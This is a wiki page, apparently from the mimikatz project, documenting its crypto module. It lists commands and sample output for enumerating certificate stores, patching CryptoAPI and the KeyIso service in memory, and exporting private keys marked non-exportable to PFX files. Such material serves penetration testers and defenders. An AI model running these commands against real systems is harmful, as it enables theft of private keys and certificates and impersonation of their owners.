-
Notifications
You must be signed in to change notification settings - Fork 3.8k
module ~ crypto
Benjamin DELPY edited this page Apr 27, 2014
·
12 revisions
This command list all providers: CryptoAPI, then CNG if available (NT 6).
mimikatz # crypto::providers
CryptoAPI providers :
0. Microsoft Base Cryptographic Provider v1.0
1. Microsoft Base DSS and Diffie-Hellman Cryptographic Provider
2. Microsoft Base DSS Cryptographic Provider
3. Microsoft Base Smart Card Crypto Provider
4. Microsoft DH SChannel Cryptographic Provider
5. Microsoft Enhanced Cryptographic Provider v1.0
6. Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider
7. Microsoft Enhanced RSA and AES Cryptographic Provider
8. Microsoft RSA SChannel Cryptographic Provider
9. Microsoft Strong Cryptographic Provider
10. SafeSign Standard Cryptographic Service Provider
11. SafeSign Standard RSA and AES Cryptographic Service Provider
CNG providers :
0. Microsoft Primitive Provider
1. Microsoft Smart Card Key Storage Provider
2. Microsoft Software Key Storage Provider
3. Microsoft SSL Protocol Provider
4. SafeSign Key Storage Provider
Argument:
-
/systemstore
- optional - the system store that must be used to list stores (default:CERT_SYSTEM_STORE_CURRENT_USER
)
It can be one of:-
CERT_SYSTEM_STORE_CURRENT_USER
orCURRENT_USER
-
CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY
orUSER_GROUP_POLICY
-
CERT_SYSTEM_STORE_LOCAL_MACHINE
orLOCAL_MACHINE
-
CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY
orLOCAL_MACHINE_GROUP_POLICY
-
CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE
orLOCAL_MACHINE_ENTERPRISE
-
CERT_SYSTEM_STORE_CURRENT_SERVICE
orCURRENT_SERVICE
-
CERT_SYSTEM_STORE_USERS
orUSERS
-
CERT_SYSTEM_STORE_SERVICES
orSERVICES
-
mimikatz # crypto::stores /systemstore:local_machine
Asking for System Store 'local_machine' (0x00020000)
0. My
1. Root
2. Trust
3. CA
4. TrustedPublisher
5. Disallowed
6. AuthRoot
7. TrustedPeople
8. ADDRESSBOOK
9. ipcu
10. Remote Desktop
11. REQUEST
12. SmartCardRoot
13. TrustedDevices
14. Windows Live ID Token Issuer
This command lists certificates and properties of theirs keys. It can export certificates too.
Argument:
-
/systemstore
- optional - the system store that must be used (default:CERT_SYSTEM_STORE_CURRENT_USER
) -
/store
- optional - the store that must be used to list/export certificates (default:My
) - full list withcrypto::stores
-
/export
- optional - export all certificates to files (public parts inDER
, private parts inPFX
files - password protected with:mimikatz
)
mimikatz # crypto::capi
Local CryptoAPI patched
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # crypto::cng
"KeyIso" service patched
mimikatz # crypto::certificates /systemstore:local_machine /store:my /export
* System Store : 'local_machine' (0x00020000)
* Store : 'my'
0. example.domain.local
Key Container : example.domain.local
Provider : Microsoft Software Key Storage Provider
Type : CNG Key (0xffffffff)
Exportable key : NO
Key size : 2048
Public export : OK - 'local_machine_my_0_example.domain.local.der'
Private export : OK - 'local_machine_my_0_example.domain.local.pfx'
Remarks:
- See
crypto::stores
for validsystemstore
list, and its output forstore
list. - Non exportable keys (with
KO - ERROR kuhl_m_crypto_exportCert ; Export / CreateFile (0x8009000b)
) can often be exported withcrypto::capi
and/orcrypto::cng
- Despite
crypto::capi
orcrypto::cng
patch, you must have correct ACL on filesystem to access private keys (UAC... 😉) - Some smartcard crypto providers can report a successfull private export (it's not, of course 😉)
mimikatz # crypto::capi
Local CryptoAPI patched
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # crypto::cng
"KeyIso" service patched